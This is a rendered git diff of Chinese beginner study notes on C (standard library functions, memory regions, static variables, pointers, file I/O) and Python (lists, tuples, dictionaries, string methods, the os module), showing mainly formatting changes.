#### 预定义标识符 #### 预定义标识符
- printf * printf
- scanf * scanf
- define * define
可以作为用户标识符 可以作为用户标识符
#### 用户标识符 #### 用户标识符
- int a * int a
- int \_a * int _a
#### 规则 #### 规则

View File

@ -4,25 +4,27 @@ date: 2024-06-06T23:51:12Z
tags: [] tags: []
--- ---
## stdio.h ## stdio.h
- 读写文件 * 读写文件
`FILE *fopen(const char *filename, const char *mode)` `FILE *fopen(const char *filename, const char *mode)`
> - filename -- 字符串,表示要打开的文件名称 > * filename -- 字符串,表示要打开的文件名称
> - mode -- 字符串,表示文件的访问模式 > * mode -- 字符串,表示文件的访问模式
>
- 格式化输出字符串 * 格式化输出字符串
`snprintf ( char \* str, size_t size, const char \* format, ... )` `snprintf ( char \* str, size_t size, const char \* format, ... )`
> - **str** -- 目标字符串,用于存储格式化后的字符串的字符数组的指针。 > * **str** -- 目标字符串,用于存储格式化后的字符串的字符数组的指针。
> - **size** -- 字符数组的大小。 > * **size** -- 字符数组的大小。
> - **format** -- 格式化字符串。 > * **format** -- 格式化字符串。
> - **...** -- 可变参数,可变数量的参数根据 format 中的格式化指令进行格式化。 > * **...** -- 可变参数,可变数量的参数根据 format 中的格式化指令进行格式化。
>
- 清除缓存 * 清除缓存
```c ```c
fflush(stdin) fflush(stdin)
@ -30,96 +32,97 @@ tags: []
## stdlib.h ## stdlib.h
- 清屏命令 * 清屏命令
```c ```c
system("cls"); // windows清屏命令 system("cls"); // windows清屏命令
system("clear"); //Linux和macOS清屏命令 system("clear"); //Linux和macOS清屏命令
``` ```
- 手动管理内存 * 手动管理内存
- 分配所需的内存空间,并返回一个指向它的指针, 不会设置内存为零 * 分配所需的内存空间,并返回一个指向它的指针, 不会设置内存为零
`void *malloc(size_t size)` `void *malloc(size_t size)`
* 分配所需的内存空间,并返回一个指向它的指针, 会设置分配的内存为零
- 分配所需的内存空间,并返回一个指向它的指针, 会设置分配的内存为零
`void *calloc(size_t nitems, size_t size)` `void *calloc(size_t nitems, size_t size)`
- 尝试重新调整之前调用所分配的指针所指向的内存块的大小 * 尝试重新调整之前调用所分配的指针所指向的内存块的大小
`void *realloc(void *ptr, size_t size)` `void *realloc(void *ptr, size_t size)`
- 释放之前调用 函数 所分配的内存空间 * 释放之前调用 函数 所分配的内存空间
`void free(void *ptr)` `void free(void *ptr)`
- > - **ptr** -- 指针指向一个分配内存的内存块的指针。 * > * **ptr** -- 指针指向一个分配内存的内存块的指针。
> - **size** -- 内存块的大小,以字节为单位。 > * **size** -- 内存块的大小,以字节为单位。
> - **nitems** -- 要被分配的元素个数。 > * **nitems** -- 要被分配的元素个数。
>
- 排序 * 排序
```c ```c
void qsort(void *base, size_t nitems, size_t size, int (*compar)(const void *, const void*)) void qsort(void *base, size_t nitems, size_t size, int (*compar)(const void *, const void*))
``` ```
> - **base** -- 指向要排序的数组的第一个元素的指针。 > * **base** -- 指向要排序的数组的第一个元素的指针。
> - **nitems** -- 由 base 指向的数组中元素的个数。 > * **nitems** -- 由 base 指向的数组中元素的个数。
> - **size** -- 数组中每个元素的大小,以字节为单位。 > * **size** -- 数组中每个元素的大小,以字节为单位。
> - **compar** -- 用来比较两个元素的函数。 > * **compar** -- 用来比较两个元素的函数。
> - 该函数不返回任何值。 > * 该函数不返回任何值。
>
- 随机数 * 随机数
1. 设置随机数种子 1. 设置随机数种子
```c ```c
void srand(unsigned int seed) void srand(unsigned int seed)
``` ```
> **seed** -- 这是一个整型值,用于伪随机数生成算法播种。
> **seed** -- 这是一个整型值,用于伪随机数生成算法播种。
>
2. 获取随机数 2. 获取随机数
```c ```c
int rand(void) int rand(void)
``` ```
> 该函数返回一个范围在 0 到 RAND_MAX 之间的整数值。 > 该函数返回一个范围在 0 到 RAND_MAX 之间的整数值。
>
## string.h ## string.h
1. 字符追加 1. 字符追加
```c ```c
char *strncat(char *dest, const char *src, size_t n) char *strncat(char *dest, const char *src, size_t n)
``` ```
> - **dest** -- 指向目标数组,该数组包含了一个 C 字符串,且足够容纳追加后的字符串,包括额外的空字符。
> - **src** -- 要追加的字符串。
> - **n** -- 要追加的最大字符数。
> - 该函数返回一个指向最终的目标字符串 dest 的指针。
> * **dest** -- 指向目标数组,该数组包含了一个 C 字符串,且足够容纳追加后的字符串,包括额外的空字符。
> * **src** -- 要追加的字符串。
> * **n** -- 要追加的最大字符数。
> * 该函数返回一个指向最终的目标字符串 dest 的指针。
>
2. 字符串检索 2. 字符串检索
```c ```c
char *strstr(const char *haystack, const char *needle) char *strstr(const char *haystack, const char *needle)
``` ```
> - **haystack** -- 要被检索的 C 字符串。 > * **haystack** -- 要被检索的 C 字符串。
> - **needle** -- 在 haystack 字符串内要搜索的小字符串。 > * **needle** -- 在 haystack 字符串内要搜索的小字符串。
> - 该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null。 > * 该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null。
>
## time.h ## time.h
time(null)返回当前时间戳 unistd.h time(null)返回当前时间戳unistd.h
sleep(1); // 暂停 1 秒 sleep(1); // 暂停 1 秒
## conio.h ## conio.h
\_kbhit()//如果有按键按下,则\_kbhit()函数返回真 _kbhit()//如果有按键按下则_kbhit()函数返回真
\_getch();//使用\_getch()函数获取按下的键值 _getch();//使用_getch()函数获取按下的键值
## errno.h ## errno.h
errno 返回系统发生错误代码 errno返回系统发生错误代码
## ctype.h ## ctype.h

View File

@ -6,23 +6,20 @@ tags: []
1. **堆区Heap** 1. **堆区Heap**
- **特点:** 堆区是动态分配的内存空间,用于存储程序运行时动态分配的数据。在堆区分配的内存需要手动释放,否则可能导致内存泄漏。 - **特点:** 堆区是动态分配的内存空间,用于存储程序运行时动态分配的数据。在堆区分配的内存需要手动释放,否则可能导致内存泄漏。
- **分配和释放:** 通过 `malloc`、`calloc`、`realloc` 等函数分配,通过 `free` 函数释放。 - **分配和释放:** 通过 `malloc`、`calloc`、`realloc` 等函数分配,通过 `free` 函数释放。
2. **栈区Stack** 2. **栈区Stack**
- **特点:** 栈区用于存储函数调用时的局部变量、函数参数和函数调用的返回地址等。它是一种后进先出LIFO的数据结构。 - **特点:** 栈区用于存储函数调用时的局部变量、函数参数和函数调用的返回地址等。它是一种后进先出LIFO的数据结构。
- **分配和释放:** 由编译器自动分配和释放,不需要手动管理。 - **分配和释放:** 由编译器自动分配和释放,不需要手动管理。
3. **静态区Static** 3. **静态区Static**
- **特点:** 静态区分为全局静态区和局部静态区。全局静态区用于存储全局变量和静态变量,而局部静态区用于存储在函数中定义的静态变量。 - **特点:** 静态区分为全局静态区和局部静态区。全局静态区用于存储全局变量和静态变量,而局部静态区用于存储在函数中定义的静态变量。
- **分配和释放:** 由编译器分配,程序运行期间一直存在。 - **分配和释放:** 由编译器分配,程序运行期间一直存在。
4. **代码区Code** 4. **代码区Code**
- **特点:** 代码区存储程序的执行代码。这是只读区域,存储了程序的二进制代码。 - **特点:** 代码区存储程序的执行代码。这是只读区域,存储了程序的二进制代码。
- **分配和释放:** 由操作系统和加载器负责,无需手动管理。 - **分配和释放:** 由操作系统和加载器负责,无需手动管理。
&nbsp; &nbsp;
@ -30,56 +27,53 @@ tags: []
1. **带** **`static`** **关键字的全局静态变量:** 1. **带** **`static`** **关键字的全局静态变量:**
```c ```c
// 全局静态变量 // 全局静态变量
static int globalStaticVar = 42; static int globalStaticVar = 42;
int main() { int main() {
// 在任何函数中都可以访问 globalStaticVar // 在任何函数中都可以访问 globalStaticVar
} }
``` ```
这样定义的全局静态变量 `globalStaticVar` 具有文件作用域,即在整个源文件中可见,但是对其他源文件是不可见的。其他源文件中可以定义同名的全局变量,而不会产生冲突。
这样定义的全局静态变量 `globalStaticVar` 具有文件作用域,即在整个源文件中可见,但是对其他源文件是不可见的。其他源文件中可以定义同名的全局变量,而不会产生冲突。
2. **不带** **`static`** **关键字的全局静态变量:** 2. **不带** **`static`** **关键字的全局静态变量:**
```c ```c
// 全局静态变量 // 全局静态变量
int globalStaticVar = 42; int globalStaticVar = 42;
int main() { int main() {
// 在任何函数中都可以访问 globalStaticVar // 在任何函数中都可以访问 globalStaticVar
} }
``` ```
如果去掉 `static` 关键字,全局静态变量 `globalStaticVar` 将具有全局作用域,即在整个程序中可见,包括其他源文件。这可能导致命名冲突,因为其他源文件也可以定义同名的全局变量。
如果去掉 `static` 关键字,全局静态变量 `globalStaticVar` 将具有全局作用域,即在整个程序中可见,包括其他源文件。这可能导致命名冲突,因为其他源文件也可以定义同名的全局变量。
3. **带** **`static`** **关键字的局部静态变量:** 3. **带** **`static`** **关键字的局部静态变量:**
```c ```c
void exampleFunction() { void exampleFunction() {
// 局部静态变量 // 局部静态变量
static int localStaticVar = 42; static int localStaticVar = 42;
} }
int main() { int main() {
// localStaticVar 在这里不可见 // localStaticVar 在这里不可见
} }
``` ```
这样定义的局部静态变量 `localStaticVar` 具有函数范围的作用域,即仅在定义它的函数 `exampleFunction` 中可见。该变量的生命周期贯穿整个程序的运行时间,而不是仅在 `exampleFunction` 被调用时存在。 这样定义的局部静态变量 `localStaticVar` 具有函数范围的作用域,即仅在定义它的函数 `exampleFunction` 中可见。该变量的生命周期贯穿整个程序的运行时间,而不是仅在 `exampleFunction` 被调用时存在。
4. **不带** **`static`** **关键字的局部静态变量:** 4. **不带** **`static`** **关键字的局部静态变量:**
```c ```c
void exampleFunction() { void exampleFunction() {
// 局部静态变量 // 局部静态变量
int localStaticVar = 42; int localStaticVar = 42;
} }
int main() { int main() {
// localStaticVar 在这里不可见 // localStaticVar 在这里不可见
} }
``` ```
如果去掉 `static` 关键字,局部静态变量 `localStaticVar` 仍然有函数范围的作用域,但是它的生命周期将限制在 `exampleFunction` 被调用的时期。每次调用 `exampleFunction` 都会重新初始化这个变量。 如果去掉 `static` 关键字,局部静态变量 `localStaticVar` 仍然有函数范围的作用域,但是它的生命周期将限制在 `exampleFunction` 被调用的时期。每次调用 `exampleFunction` 都会重新初始化这个变量。
总的来说,带有 `static` 关键字的局部静态变量在多次函数调用之间保持其值,具有整个程序运行时间的生命周期。而不带 `static` 关键字的局部静态变量在每次函数调用时都会重新初始化,具有函数调用的生命周期。选择取决于变量是否需要在函数调用之间保持其值。 总的来说,带有 `static` 关键字的局部静态变量在多次函数调用之间保持其值,具有整个程序运行时间的生命周期。而不带 `static` 关键字的局部静态变量在每次函数调用时都会重新初始化,具有函数调用的生命周期。选择取决于变量是否需要在函数调用之间保持其值。

View File

@ -4,5 +4,7 @@ date: 2024-06-06T23:51:47Z
tags: [] tags: []
--- ---
大端存储:把高位字节放在低字节 大端存储:把高位字节放在低字节
小端存储:把低位字节放在高字节 小端存储:把低位字节放在高字节

View File

@ -4,24 +4,25 @@ date: 2024-06-06T23:51:39Z
tags: [] tags: []
--- ---
1. while 1. while
```javascript ```javascript
while (循环条件) { while(循环条件){
//循环体 //循环体
} }
``` ```
2. for 2. for
```javascript ```javascript
for (;;) { for(;;){
//循环体 //循环体
} }
``` ```
3. 退出循环 3. 退出循环
`continue`:退出本次循环 `continue`:退出本次循环
`break`:退出整个循环 `break`:退出整个循环

View File

@ -4,10 +4,11 @@ date: 2024-06-06T23:51:37Z
tags: [] tags: []
--- ---
`&` 取地址调试符 `&` 取地址调试符
`%p` 以地址的格式打印数据使用 (需要将指针强制转换为 (void \*) `%p` 以地址的格式打印数据使用 (需要将指针强制转换为 (void \*)
`*` 来声明指针变量 `*`​来声明指针变量
地址是内存唯一标示空间 地址是内存唯一标示空间
@ -17,9 +18,9 @@ tags: []
取地址是取第一个地址 取地址是取第一个地址
指针变量在 32 位上是 4 字节(32/4,32 位的机器上地址用 32 个二进制数组成,8bit=1byte)64 位是 8 字节 指针变量在32位上是4字节(32/4,32位的机器上地址用32个二进制数组成,8bit=1byte)64位是8字节
指针变量的不同类型解引用访问的不同的字节 例如 \*char1 个字节 \*int 4 个字节 指针变量的不同类型解引用访问的不同的字节 例如 \*char1个字节 \*int 4个字节
`int (*px)(int);` px 是一个指向接受一个整数参数并返回整数的函数的指针 `int (*px)(int);` px 是一个指向接受一个整数参数并返回整数的函数的指针

View File

@ -4,7 +4,8 @@ date: 2024-06-06T23:51:47Z
tags: [] tags: []
--- ---
main 写 mian
main写mian
函数后面加; 函数后面加;
switch 里面的 case 不加 break switch 里面的case不加break
用链条,查找下一个不创建临时变量,直接修改 用链条,查找下一个不创建临时变量,直接修改

View File

@ -4,21 +4,23 @@ date: 2024-06-06T23:51:44Z
tags: [] tags: []
--- ---
| 类型 | 符号 | 占位符 | 字节 |
| :----------: | :-------: | :----: | :--: |
| 字符 | char | %c | 1 | |类型|符号|占位符|字节|
| 字符串型 | | %s | | | :------------: | :---------: | :--------------------------------: | :----: |
| 整形 | int | %d | 4 | |字符|char|%c|1|
| 短整型 | short | %hd | 2 | |字符串型||%s||
| 长整型 | long | %ld | 4or8 | |整形|int|%d|4|
| 更长整形 | long long | | 8 | |短整型|short|%hd|2|
| 单精度浮点数 | float | %f | 4 | |长整型|long|%ld|4or8|
| 双精度浮点数 | double | %lf | 8 | |更长整形|long long||8|
|单精度浮点数|float|%f|4|
|双精度浮点数|double|%lf|8|
## 储存类 ## 储存类
| 存储类 | 描述 | |存储类|描述|
| :------: | :--------------------------------------------------: | | :--------: | :----------------------------------------------------: |
| register | 用于定义存储在寄存器中而不是 RAM 中的局部变量 | |register|用于定义存储在寄存器中而不是 RAM 中的局部变量|
| static | 存储类指示编译器在程序的生命周期内保持局部变量的存在 | |static|存储类指示编译器在程序的生命周期内保持局部变量的存在|
| extern | 定义在其他文件中声明的全局变量或函数 | |extern|定义在其他文件中声明的全局变量或函数|

View File

@ -4,33 +4,34 @@ date: 2024-06-06T23:51:38Z
tags: [] tags: []
--- ---
`scanf` 是针对标准输入的格式化语句 `scanf` 是针对标准输入的格式化语句
`printf` 是针对标准输出的格式化语句 `printf`​是针对标准输出的格式化语句
`fscanf` 是针对所有输入流的格式化语句 `fscanf`​是针对所有输入流的格式化语句
`fprintf` 是针对所有输出流的格式化语句 `fprintf`​是针对所有输出流的格式化语句
`sscanf` 字符串转为格式化语句 `sscanf`​字符串转为格式化语句
`sprintf` 格式化语句转为字符串 `sprintf`​格式化语句转为字符串
`EOF` 检查文件是否到尾部 `EOF`​检查文件是否到尾部
1. 写入文件 1. 写入文件
```c ```c
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream) size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
``` ```
2. 读取文件 2. 读取文件
```c ```c
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
``` ```
> ptr -- 这是指向要被写入的元素数组的指针。 > ptr -- 这是指向要被写入的元素数组的指针。
> size -- 这是要被写入的每个元素的大小,以字节为单位。 > size -- 这是要被写入的每个元素的大小,以字节为单位。
> nmemb -- 这是元素的个数,每个元素的大小为 size 字节。 > nmemb -- 这是元素的个数,每个元素的大小为 size 字节。
> stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输出流。 > stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输出流。
3. 打开的文件中定位 3. 打开的文件中定位
@ -38,13 +39,13 @@ tags: []
int fseek(FILE *stream, long int offset, int whence) int fseek(FILE *stream, long int offset, int whence)
``` ```
- 参数 * 参数
> stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了流。 > stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了流。
> offset -- 这是相对 whence 的偏移量,以字节为单位。 > offset -- 这是相对 whence 的偏移量,以字节为单位。
> whence -- 这是表示开始添加偏移 offset 的位置。它一般指定为下列常量之一: > whence -- 这是表示开始添加偏移 offset 的位置。它一般指定为下列常量之一:
>
- 常量 描述 * 常量 描述
```c ```c
SEEK_SET 文件的开头 SEEK_SET 文件的开头

View File

@ -6,46 +6,46 @@ tags: []
1. 数组 1. 数组
```c ```c
type arrayName [ arraySize ]; type arrayName [ arraySize ];
``` ```
2. 枚举 2. 枚举
```c ```c
enum DAY//枚举类型 标签 enum DAY//枚举类型 标签
{ {
MON=1, TUE, WED, THU, FRI, SAT, SUN MON=1, TUE, WED, THU, FRI, SAT, SUN
}day;定义名字 }day;定义名字
``` ```
3. 结构体 3. 结构体
```c ```c
struct tag { struct tag {
member-list member-list
member-list member-list
member-list member-list
... ...
} variable-list ; } variable-list ;
``` ```
> **tag** 是结构体标签。
>
> **member-list** 是标准的变量定义,比如 int i; 或者 float f;,或者其他有效的变量定义。
>
> **variable-list** 结构变量,定义在结构的末尾,最后一个分号之前,您可以指定一个或多个结构变量。
> **tag** 是结构体标签。
>
> **member-list** 是标准的变量定义,比如 int i; 或者 float f;,或者其他有效的变量定义。
>
> **variable-list** 结构变量,定义在结构的末尾,最后一个分号之前,您可以指定一个或多个结构变量。
>
4. 共用体 4. 共用体
```c ```c
union [union tag] union [union tag]
{ {
member definition; member definition;
member definition; member definition;
... ...
member definition; member definition;
} [one or more union variables]; } [one or more union variables];
``` ```
> 与结构体不同所有数据共用一个地址 > 与结构体不同所有数据共用一个地址

View File

@ -6,18 +6,17 @@ tags: []
1. 预编译/预处理 1. 预编译/预处理
`-E` `-E`
1. 将头文件的内容加入 1. 将头文件的内容加入
2. difine 定义符号的删除,和内容的替换 2. difine定义符号的删除,和内容的替换
3. 注释的操作 3. 注释的操作
2. 转换为汇编代码 2. 转换为汇编代码
`-S` `-S`
3. 将汇编代码转化为机器指令 3. 将汇编代码转化为机器指令
`-c` `-c`

View File

@ -6,43 +6,43 @@ tags: []
1. if 1. if
```javascript ```javascript
if () if ()
{} {}
else if() else if()
{} {}
else else
{} {}
``` ```
2. 三元运算 2. 三元运算
```javascript ```javascript
条件 ? true : false; 条件?true:false
``` ```
3. switch 3. switch
```javascript ```javascript
switch (data) { switch(data){
case value1: case value1:
code1; code1
break; break
case value2: case value2:
code2; code2
break; break
default: default:
coden; coden
break; break
} }
``` ```
4. goto 4. goto
```c ```c
跳转标签 跳转标签
goto 标签; goto 标签;
``` ```

View File

@ -4,7 +4,8 @@ date: 2024-06-06T23:51:44Z
tags: [] tags: []
--- ---
> 又称上下文管理器,在处理文件时,无论是否产生异常,都能保证 with 语句执行完毕后关闭已近打开的文件,这个过程是自动的,无需手动操作.
> 又称上下文管理器,在处理文件时,无论是否产生异常,都能保证with语句执行完毕后关闭已近打开的文件,这个过程是自动的,无需手动操作.
语法结构 语法结构

View File

@ -6,8 +6,8 @@ tags: []
## 概念 ## 概念
python 中内置的不可变数列 是python中内置的不可变数列
python 中使用()定义援助,元素与元素之间使用英文的逗号分隔 在python中使用()定义援助,元素与元素之间使用英文的逗号分隔
元组中只有一个元素的时候,逗号也不能省略 元组中只有一个元素的时候,逗号也不能省略
## 元组的创建方法 ## 元组的创建方法
@ -18,7 +18,7 @@ tags: []
语法结构如下: 语法结构如下:
`元组名=(element1,element3,......,elementN)` `元组名=(element1,element3,......,elementN)`
## 第二种使用内置函数 tuple ## 第二种使用内置函数tuple
语法结构如下: 语法结构如下:
`元组名=tuple(序列)` `元组名=tuple(序列)`

View File

@ -4,9 +4,9 @@ date: 2024-06-06T23:51:47Z
tags: [] tags: []
--- ---
`id()` 查看数据地址 `id()`​查看数据地址
`len()` 长度 `len()`​长度
`type()` 类型 `type()`​类型
`chr(ascll码)` 可以输出 ascll 码对应的 `chr(ascll码)`可以输出ascll码对应的
`eval(变量名)` 去掉字符串最外侧的引号 `eval(变量名)`​去掉字符串最外侧的引号
`pass` 占位字符 `pass`​占位字符

View File

@ -7,8 +7,8 @@ tags: []
## 概念 ## 概念
是指一系列的按特定顺序排列的元素组成 是指一系列的按特定顺序排列的元素组成
Python 中内置的可变元素序列 是Python中内置的可变元素序列
python 中可以使用[]定义列表,元素和元素直接可以使用英文逗号分隔 是python中可以使用[]定义列表,元素和元素直接可以使用英文逗号分隔
列表中的元素可以是任意类型 列表中的元素可以是任意类型
## 基本 ## 基本
@ -19,29 +19,30 @@ tags: []
> start:切片的开始索引(包括) > start:切片的开始索引(包括)
> end:切片的结束索引(不包括) > end:切片的结束索引(不包括)
> step:步长(默认为 1) > step:步长(默认为1)
## 遍历 ## 遍历
```html ```html
for i in enumerate(数组): print(i) for i in enumerate(数组):
print(i)
``` ```
## 操作 ## 操作
`x in s`:如果 x s 的元素,结果是 True,否则结果为 False `x in s`:如果x是s的元素,结果是True,否则结果为False
`x not in s`:如果 x 不是 s 的元素,结果为 True,否者为 False `x not in s`:如果x不是s的元素,结果为True,否者为False
`len(s)`:序列 s 的元素的个数 `len(s)`:序列s的元素的个数
`max(s)`:元素当中的最大值 `max(s)`:元素当中的最大值
`min(s)`:元素当中的最小值 `min(s)`:元素当中的最小值
`s.index(x)`:序列 s 中第一次出现元素 x 的位置 `s.index(x)`:序列s中第一次出现元素x的位置
`s.count(x)`:序列 s 中出现元素 x 的的总和 `s.count(x)`:序列s中出现元素x的的总和
`lst.append(x)`:在列表 lst 最后增加一个元素 `lst.append(x)`:在列表lst最后增加一个元素
`lst.insert(index,x)`:在列表 lst 中第 index 位置增加一个元素 `lst.insert(index,x)`:在列表lst中第index位置增加一个元素
`lst.clear`:清除列表 lst 中的所有元素 `lst.clear`:清除列表lst中的所有元素
`lst.pop(index)`:将列表 lst 中第 index 位置的元素去除,并从列表中将其删除 `lst.pop(index)`:将列表lst中第index位置的元素去除,并从列表中将其删除
`lst.remove(x)`:将列表中出现的第一个元素 x 删除 `lst.remove(x)`:将列表中出现的第一个元素x删除
`lst.reverse(x)`:将列表中的元素反转 `lst.reverse(x)`:将列表中的元素反转
`lst.copy()`:拷贝列表中的所有元素,生产一个新的列表 `lst.copy()`:拷贝列表中的所有元素,生产一个新的列表

View File

@ -8,7 +8,7 @@ tags: []
`print("")` `print("")`
- Python 允许使用单引号、双引号、三重引号(单引号或双引号)来表示字符串 - Python允许使用单引号、双引号、三重引号单引号或双引号来表示字符串
- `end=''`输出以空格结尾,而不是默认的换行符 - `end=''`输出以空格结尾,而不是默认的换行符
- `sep=","`指定了逗号作为分隔符。 - `sep=","`指定了逗号作为分隔符。
输入到文件: `print("文字",file=文件名)` 输入到文件: `print("文字",file=文件名)`
@ -27,7 +27,9 @@ tags: []
```html ```html
""" 需要注释的代码 """ """
需要注释的代码
"""
``` ```
## 导入模块 ## 导入模块

View File

@ -4,24 +4,23 @@ date: 2024-06-06T23:51:30Z
tags: [] tags: []
--- ---
## 创建方式 ## 创建方式
### 第一种使用{}直接创建字典 ### 第一种使用{}直接创建字典
`d={key1:value1,key2:value2....}` `d={key1:value1,key2:value2....}`
语法结构如下: 语法结构如下:
`dict(key1=value1,key2=value2....)` `dict(key1=value1,key2=value2....)`
### 第二种使用内置函数 dict()创建字典 ### 第二种使用内置函数dict()创建字典
#### 1)映射函数 #### 1)映射函数
`zip(lst1,lst2)` `zip(lst1,lst2)`
lst1 为键 lst1为键
lst2 为值 lst2为值
##### 字典转列表 ##### 字典转列表
@ -29,36 +28,27 @@ lst2 为值
## 字典元素的取值 ## 字典元素的取值
d[key]或 d.get(key) d[key]或d.get(key)
## 字典元素的遍历 ## 字典元素的遍历
### 1)遍历出 key value 的元组 ### 1)遍历出key与value的元组
`for element in d.items(): pass` `for element in d.items(): pass`
### 2)分别遍历出 key value ### 2)分别遍历出key与value
`for key,value in d.items(): pass` `for key,value in d.items(): pass`
## 相关的操作方法 ## 相关的操作方法
获取所有的 key 数据 获取所有的key数据
`d.keys()` `d.keys()`
获取所有的value的数据
获取所有的 value 的数据
`d.values()` `d.values()`
key存在获取相应的value,同时删除key-value对,否则获取默认值
key 存在获取相应的 value,同时删除 key-value 对,否则获取默认值
`d.pop(key,default)` `d.pop(key,default)`
随机从字典种取出一个key-value对结果为元组类型,同时将该key-value从字典种删除
随机从字典种取出一个 key-value 对,结果为元组类型,同时将该 key-value 从字典种删除
`d.popitem()` `d.popitem()`
清空字典中所有的key-value对
清空字典中所有的 key-value 对
`d.clear()` `d.clear()`

View File

@ -6,33 +6,20 @@ tags: []
## 常用方法 ## 常用方法
`str.lower()`:将 str 字符串全部转换成小写字母,结果为一个新的字符串 `str.lower()`:将str字符串全部转换成小写字母,结果为一个新的字符串
`str.upper()`:将字符串全部转为大写字母,结果为一个新的字符串 `str.upper()`:将字符串全部转为大写字母,结果为一个新的字符串
`str.split(sep=None)`:把str按照指定的分隔符sep进行分隔,结果为列表类型
`str.split(sep=None)`:把 str 按照指定的分隔符 sep 进行分隔,结果为列表类型 `str.count(sub)`:结果为sub这个字符串在str中出现的次数
`find(sub)`:结果为sub这个字符串在str中是否存在,如果不存在结果为-1,如果存在,如果出现结果为sub首次出现的索引
`str.count(sub)`:结果为 sub 这个字符串在 str 中出现的次数 `str.index(sub)`:功能与find()相同,区别在于要查询的子串sub不存在时,程序报错
`str.startswith(s)`:查询字符串str是否以子字符串s开头
`find(sub)`:结果为 sub 这个字符串在 str 中是否存在,如果不存在结果为-1,如果存在,如果出现结果为 sub 首次出现的索引 `str.endswith(s)`:查询字符串str是否以子字符串s结尾
`str.replace(old,news,count)`:使用news替换字符串s中所有old字符串,结果是一个新的字符串
`str.index(sub)`:功能与 find()相同,区别在于要查询的子串 sub 不存在时,程序报错 `str.center(width,filllchar)`:字符串str在指定的宽度范围内居中,可以使用fillchar进行填充
`str.join(iter)`:在iter中的每个元素后面都增加一个新的字符串str
`str.startswith(s)`:查询字符串 str 是否以子字符串 s 开头 `str.strip(chars)`从字符串中去掉左侧和右侧chars中列出的字符串
`str.lstrip(chars)`:从字符串中去掉左侧chars、中列出的字符串
`str.endswith(s)`:查询字符串 str 是否以子字符串 s 结尾 `str.rstrip(chars)`:从字符串中去掉右侧chars、中列出的字符串
`str.replace(old,news,count)`:使用 news 替换字符串 s 中所有 old 字符串,结果是一个新的字符串
`str.center(width,filllchar)`:字符串 str 在指定的宽度范围内居中,可以使用 fillchar 进行填充
`str.join(iter)`:在 iter 中的每个元素后面都增加一个新的字符串 str
`str.strip(chars)`:从字符串中去掉左侧和右侧 chars 中列出的字符串
`str.lstrip(chars)`:从字符串中去掉左侧 chars、中列出的字符串
`str.rstrip(chars)`:从字符串中去掉右侧 chars、中列出的字符串
## 格式化字符串的方法 ## 格式化字符串的方法
@ -47,7 +34,7 @@ tags: []
### f-string ### f-string
python3.6 引入的格式化字符串的方式,比{}表明被替换的字符 python3.6引入的格式化字符串的方式,比{}表明被替换的字符
例如 例如
`print(f"姓名:{name},年龄:{age},成绩:{score}")` `print(f"姓名:{name},年龄:{age},成绩:{score}")`
@ -65,19 +52,19 @@ python3.6 引入的格式化字符串的方式,比{}表明被替换的字符
宽度:字符串的输出宽度 宽度:字符串的输出宽度
`,`:字符串的千位分隔符 `,`:字符串的千位分隔符
.精度:浮点数小数部分的精度或字符串的最大输出长度 .精度:浮点数小数部分的精度或字符串的最大输出长度
类型:整数类型:b\d\o\x\X 浮点数类型:e\E\f\% 类型:整数类型:b\d\o\x\X浮点数类型:e\E\f\%
## 编码与解码 ## 编码与解码
### 字符串的编码 ### 字符串的编码
str 类型转换为 bytes 类型,需要使用到字符串的 encode()方法 将str类型转换为bytes类型,需要使用到字符串的encode()方法
语法格式: 语法格式:
`str.encode(encoding='utf-8', errors='strict'/ignore/replace)` `str.encode(encoding='utf-8', errors='strict'/ignore/replace)`
### 字符串的解码 ### 字符串的解码
bytes 类型转换为 str 类型,需要使用到 bytes 类型的 decode()方法 将bytes类型转换为str类型,需要使用到bytes类型的decode()方法
语法格式: 语法格式:
`str.decode(encoding='utf-8', errors='strict'/ignore/replace)` `str.decode(encoding='utf-8', errors='strict'/ignore/replace)`
@ -89,7 +76,7 @@ python3.6 引入的格式化字符串的方式,比{}表明被替换的字符
`str.isalnum()`:所有字符都是数字或字母(包括中文字符) `str.isalnum()`:所有字符都是数字或字母(包括中文字符)
`str.islower())`:所有字符都是小写 `str.islower())`:所有字符都是小写
`str.isupper()`:所有字符都是大写 `str.isupper()`:所有字符都是大写
`str.isspace()`:所有字符都是空白字符(\n,\t 等) `str.isspace()`:所有字符都是空白字符(\n,\t等)
## 字符串的处理 ## 字符串的处理
@ -97,10 +84,14 @@ python3.6 引入的格式化字符串的方式,比{}表明被替换的字符
1.使用`str.join()`方法进行拼接字符串 1.使用`str.join()`方法进行拼接字符串
例如 例如
`print("|".join([x,y,"ww"]))` 2.直接拼接 3.使用格式化字符串进行拼接 `print("|".join([x,y,"ww"]))`
2.直接拼接
3.使用格式化字符串进行拼接
### 字符串的去重 ### 字符串的去重
1.字符串的拼接以及 not in 1.字符串的拼接以及not in
`for i in x: if i not in x_new: x_new += i print(x_new)` 2.索引+not in 3.通过列表集合+列表排序 `for i in x: if i not in x_new: x_new += i print(x_new)`
2.索引+not in
3.通过列表集合+列表排序
`x_new = set(x) lst = list(x_new) lst.sort(key=x.index) print(''.join(lst))` `x_new = set(x) lst = list(x_new) lst.sort(key=x.index) print(''.join(lst))`

View File

@ -6,34 +6,23 @@ tags: []
## 导入 ## 导入
```python `import 模块名称 [as 别名]`
import 模块名称 [as 别名] `from 模块名称 import 变量/函数/类/*`
```
```python
from 模块名称 import 变量/函数/类/*
```
## os模块 ## os模块
> 与操作系统和文件相关操作有关的模块 > 与操作系统和文件相关操作有关的模块
`getcwd()`:获取当前工作路径 `getcwd()`:获取当前工作路径
`listdir(path)`:获取path路径下的文件,如果没有指定path,则获取当前路径下的文件和目录信息 `listdir(path)`:获取path路径下的文件,如果没有指定path,则获取当前路径下的文件和目录信息
`mkdir(path)`:在指定路径下创建目录(文件夹) `mkdir(path)`:在指定路径下创建目录(文件夹)
`makedirs(path)`:创建多级目录 `makedirs(path)`:创建多级目录
### os.path模块 ### os.path模块
`abspath(path)`:获取目录或文件的绝对路径 `abspath(path)`:获取目录或文件的绝对路径
